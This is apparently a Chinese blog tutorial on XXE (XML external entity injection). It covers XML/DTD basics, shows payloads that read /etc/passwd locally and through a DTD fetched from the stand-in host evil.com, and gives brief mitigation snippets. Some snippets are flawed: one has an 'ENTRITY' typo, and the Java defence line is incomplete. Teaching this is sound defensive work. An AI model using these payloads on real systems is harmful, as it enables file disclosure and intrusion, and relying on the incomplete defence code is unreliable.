XXE漏洞

XXE

XXE(XML External Entity Injection)即:XML外部实体注入

直接搬运某文库的资料:
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害
注意:执行系统命令(安装expect扩展的PHP环境里才有)

XML基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0" ?><!--XML声明-->
<!DOCTYPE user [
<!ELEMENT user (name,sex,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]><!--DTD文档类型定义-->
<user>
<name>SNCKER</name>
<sex>woman</sex>
<age>3</age>
</user><!--文档元素-->

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
PCDATA 指的是被解析的字符数据(Parsed Character Data)
XML解析器通常会解析XML文档中所有的文本

1
<message>此文本会被解析</message>

当某个XML元素被解析时,其标签之间的文本也会被解析:

1
<name><first>Bill</first><last>Gates</last></name>
1
2
3
4
5
6
7
8
9
10
11
12
13
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--引用外部DTD-->
<!DOCTYPE 根元素 SYSTEM "文件名”>
<!--或者-->
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
<!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。-->
<!--内部声明实体-->
<!ENTITY 实体名称 "实体的值">
<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">
<!--或者-->
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

恶意引入外部实体的三种方法

本地引入

XML内容:

1
2
3
4
5
<?XML version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY file SYSTEM "file:///etc/passwd">
]><!--DTD文档类型定义-->
<root>&amp;file;</root><!--文档元素-->

一个实体由三部分构成:一个与号 &,一个实体名称,,以及一个分号;

远程引入1

XML内容:

1
2
3
4
5
6
<?XML version="1.0" ?>
<!DOCTYPE x [
<!ENTRITY % d SYSTEM "http://evil.com/evil.dtd">
%d;
]>
<root>&amp;file;</root>

DTD文件(evil.dtd)内容:

1
<!ENTITY file SYSTEM "file:///etc/passwd">

远程引入2

1
2
3
<?XML version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<root>&amp;file;</root>

DTD文件(evil.dtd)内容:

1
<!ENTITY file SYSTEM "file:///etc/passwd">

防御XXE

主要思路就是禁用外部实体的引用

1
2
3
libxml_disable_entity_loader(true); 
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
from lxml import etree xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = False))

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!